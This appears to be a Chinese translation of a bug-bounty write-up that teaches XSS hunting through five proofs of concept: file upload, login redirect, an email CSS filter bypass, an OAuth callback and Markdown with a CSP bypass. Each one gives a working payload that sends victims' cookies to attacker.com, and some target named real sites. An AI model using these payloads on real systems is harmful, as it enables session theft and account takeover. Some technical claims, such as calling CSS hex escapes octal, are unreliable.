通过 5 个顶级 PoC 学习精英白帽寻找 XSS 的方法与技巧。
PoC1:文件上传+CSRF
- 寻找易受攻击的端点
- 在支持聊天功能的窗口拦截文件上传(Burp Suite → POST /upload_file )
- 关键特征:请求中未包含CSRF Token
- 创建Payload:
"><img src=1 onerror="
url=String.fromCharCode(104,116,116,112,...); // Convert attacker URL to ASCII
xhttp=new XMLHttpRequest();
xhttp.open('GET',url+document.cookie,true); // Steal cookies
xhttp.send();
">
使用ASCII转换进行URL编码。
-
执行攻击:
A. 上传带有恶意文件名的文件
B. 当受害者查看聊天时→Payload会自动触发
C. 攻击者获得受害者的会话Cookie -
影响&教训
- 影响:帐户完全接管
- 经验与教训:
- 文件上传中的XSS“金矿”
onerror
无需用户点击的触发器- ASCII编码的绕过技巧
PoC2:重定向XSS
- 寻找易受攻击的端点
- 登录后测试所有重定向参数:
https://accounts.reddit.com/?dest=TEST
- 触发条件:Payload在登录后执行
- 登录后测试所有重定向参数:
- 创建Payload:
https://accounts.reddit.com/?dest=javascript:fetch('//attacker.com?c='+btoa(document.cookie))
如果被阻止,可对特殊字符进行编码( 如:%28 = ( , %29 = ) )
- 执行攻击:
- 向受害者发送恶意链接
- 受害者登录 → Payload在重定向后执行
- 攻击者获得受害者会话令牌
- 影响&教训:
- 影响:帐户劫持
- 经验与教训:
javascript:
在认证后重定向中生效- 始终测试认证流程中的参数(如:dest , redirect_uri 等)
PoC3:Email 过滤绕过
-
寻找漏洞端点:
- HTML 邮件处理系统
- 关键特征:CSS
url(cid://)
渲染 HTML
- 创建Payload:
<style>
url(cid://\00003c\000073\000063\000072\000069\000070\000074\00003e
fetch('//attacker.com?'+document.cookie)
\00003c\00002f\000073\000063\000072\000069\000070\000074\00003e);
</style>
\00003c
等于 <
的八进制编码
- 执行攻击:
A. 发送包含Payload的原始邮件
B. 受害者打开邮件 → 过滤器失效 → Payload 执行
C. 攻击者劫持邮件转发规则
-
影响&教训:
- 影响:邮件帐户被攻破
- 经验与教训:
- 使用八进制编码绕过 HTML 过滤器
- CSS
url()
技巧 - 使用原始 HTML 测试电子邮件客户端
PoC4:OAuth XSS
-
寻找易受攻击的端点:
- 初始化: /services/login/identity?google_apps_uri=…
- 在“使用Google 登录”流程中触发
- 创建Payload:
https://app.shopify.com/services/login/identity?google_apps_uri=javascript:fetch('//attacker.com?c='+document.cookie)
- 执行攻击:
A. 诱使受害者点击恶意链接
B. 受害者通过 Google 登录 → Payload在过程中成功执行
C. 管理员 Cookie 被窃取
-
影响&教训:
- Shopify 商店劫持
- 经验与教训:
- 测试所有 OAuth 回调参数
javascript:
同样适用于第三方认证流程- 员工/管理员账户是高价值目标
PoC5:Markdown XSS + CSP 绕过
1.寻找漏洞端点:
- Markdown 编辑器(issues、维基)
- 关键标志:允许的 HTML 属性,如
data-sourcepos
2.创建Payload:<pre data-sourcepos=""%22 href="x"></pre> <base href="https://attacker.com"> <!-- Hijack resources --> <pre x=""> <code></code></pre>
-
执行攻击:
A. 在问题描述中提交Payload
B. 受害者查看问题 → 从 attacker.com 加载脚本
C. 恶意 JS 在有效的 CSP nonce 下运行 -
影响&教训:
- 影响:完全账户接管 + SSO 访问
- 经验与教训:
<base>
标签绕过 CSP- 混乱的 HTML 混淆过滤器
- 缺失资源=利用机会
“ XSS与复杂性无关,而是要寻找开发人员忘记验证的位置,从文件上传和重定向开始,这些都是唾手可得的果实!”
原文:https://infosecwriteups.com/top-xss-pocs-that-made-50000-1691200eb599